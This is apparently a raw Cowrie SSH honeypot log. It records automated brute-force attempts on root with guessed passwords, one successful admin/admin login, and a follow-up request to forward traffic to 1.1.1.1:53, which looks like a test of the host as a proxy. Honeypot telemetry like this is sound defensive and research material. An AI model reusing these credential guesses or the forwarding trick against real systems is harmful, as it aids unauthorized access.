{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:38.957437Z","src_ip":"60.165.124.241","session":"01e21cff5de6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60764,"dst_ip":"10.17.0.5","dst_port":22,"session":"863b2a1f71b0","protocol":"ssh","message":"New connection: 60.165.124.241:60764 (10.17.0.5:22) [session: 863b2a1f71b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:39.193137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:39.198245Z","src_ip":"60.165.124.241","session":"863b2a1f71b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:39.436915Z","src_ip":"60.165.124.241","session":"863b2a1f71b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123.","message":"login attempt [root/Root123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:40.161639Z","src_ip":"60.165.124.241","session":"863b2a1f71b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:41.403565Z","src_ip":"60.165.124.241","session":"863b2a1f71b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35262,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d523e9b9aea","protocol":"ssh","message":"New connection: 60.165.124.241:35262 (10.17.0.5:22) [session: 1d523e9b9aea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:41.639169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:41.644616Z","src_ip":"60.165.124.241","session":"1d523e9b9aea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:41.888695Z","src_ip":"60.165.124.241","session":"1d523e9b9aea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"thunder","message":"login attempt [root/thunder] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:42.613379Z","src_ip":"60.165.124.241","session":"1d523e9b9aea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:43.854110Z","src_ip":"60.165.124.241","session":"1d523e9b9aea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38342,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca0cc0dc316d","protocol":"ssh","message":"New connection: 60.165.124.241:38342 (10.17.0.5:22) [session: ca0cc0dc316d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:44.088983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:44.094036Z","src_ip":"60.165.124.241","session":"ca0cc0dc316d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:44.336232Z","src_ip":"60.165.124.241","session":"ca0cc0dc316d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lijian","message":"login attempt [root/lijian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:45.092607Z","src_ip":"60.165.124.241","session":"ca0cc0dc316d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:46.347312Z","src_ip":"60.165.124.241","session":"ca0cc0dc316d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41386,"dst_ip":"10.17.0.5","dst_port":22,"session":"da0845946a8f","protocol":"ssh","message":"New connection: 60.165.124.241:41386 (10.17.0.5:22) [session: da0845946a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:46.578943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:46.583452Z","src_ip":"60.165.124.241","session":"da0845946a8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:46.826218Z","src_ip":"60.165.124.241","session":"da0845946a8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Fu123456","message":"login attempt [root/Fu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:47.575830Z","src_ip":"60.165.124.241","session":"da0845946a8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":31686,"dst_ip":"10.17.0.5","dst_port":22,"session":"54d351ed49c1","protocol":"ssh","message":"New connection: 87.251.64.176:31686 (10.17.0.5:22) [session: 54d351ed49c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:48.301041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:48.305688Z","src_ip":"87.251.64.176","session":"54d351ed49c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:48.402554Z","src_ip":"87.251.64.176","session":"54d351ed49c1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:48.693221Z","src_ip":"87.251.64.176","session":"54d351ed49c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:48.792548Z","session":"54d351ed49c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:48.821169Z","src_ip":"60.165.124.241","session":"da0845946a8f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:48.904349Z","src_ip":"87.251.64.176","session":"54d351ed49c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:49.006620Z","src_ip":"87.251.64.176","session":"54d351ed49c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44126,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d9465bc644b","protocol":"ssh","message":"New connection: 60.165.124.241:44126 (10.17.0.5:22) [session: 9d9465bc644b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:49.076960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:49.081357Z","src_ip":"60.165.124.241","session":"9d9465bc644b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:49.329034Z","src_ip":"60.165.124.241","session":"9d9465bc644b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P2ssw0rd","message":"login attempt [root/P2ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:50.091060Z","src_ip":"60.165.124.241","session":"9d9465bc644b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:51.349176Z","src_ip":"60.165.124.241","session":"9d9465bc644b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47404,"dst_ip":"10.17.0.5","dst_port":22,"session":"7da72854cc94","protocol":"ssh","message":"New connection: 60.165.124.241:47404 (10.17.0.5:22) [session: 7da72854cc94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:51.584608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:51.588065Z","src_ip":"60.165.124.241","session":"7da72854cc94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:51.837228Z","src_ip":"60.165.124.241","session":"7da72854cc94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123++","message":"login attempt [root/Abc123++] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:52.571599Z","src_ip":"60.165.124.241","session":"7da72854cc94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:53.812549Z","src_ip":"60.165.124.241","session":"7da72854cc94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50054,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbb731d0c790","protocol":"ssh","message":"New connection: 60.165.124.241:50054 (10.17.0.5:22) [session: cbb731d0c790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:54.045296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:54.049641Z","src_ip":"60.165.124.241","session":"cbb731d0c790","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:54.299983Z","src_ip":"60.165.124.241","session":"cbb731d0c790","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qw123","message":"login attempt [root/123qw123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:55.020302Z","src_ip":"60.165.124.241","session":"cbb731d0c790","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:56.266285Z","src_ip":"60.165.124.241","session":"cbb731d0c790","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53028,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f05932d642d","protocol":"ssh","message":"New connection: 60.165.124.241:53028 (10.17.0.5:22) [session: 7f05932d642d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:56.553257Z"}
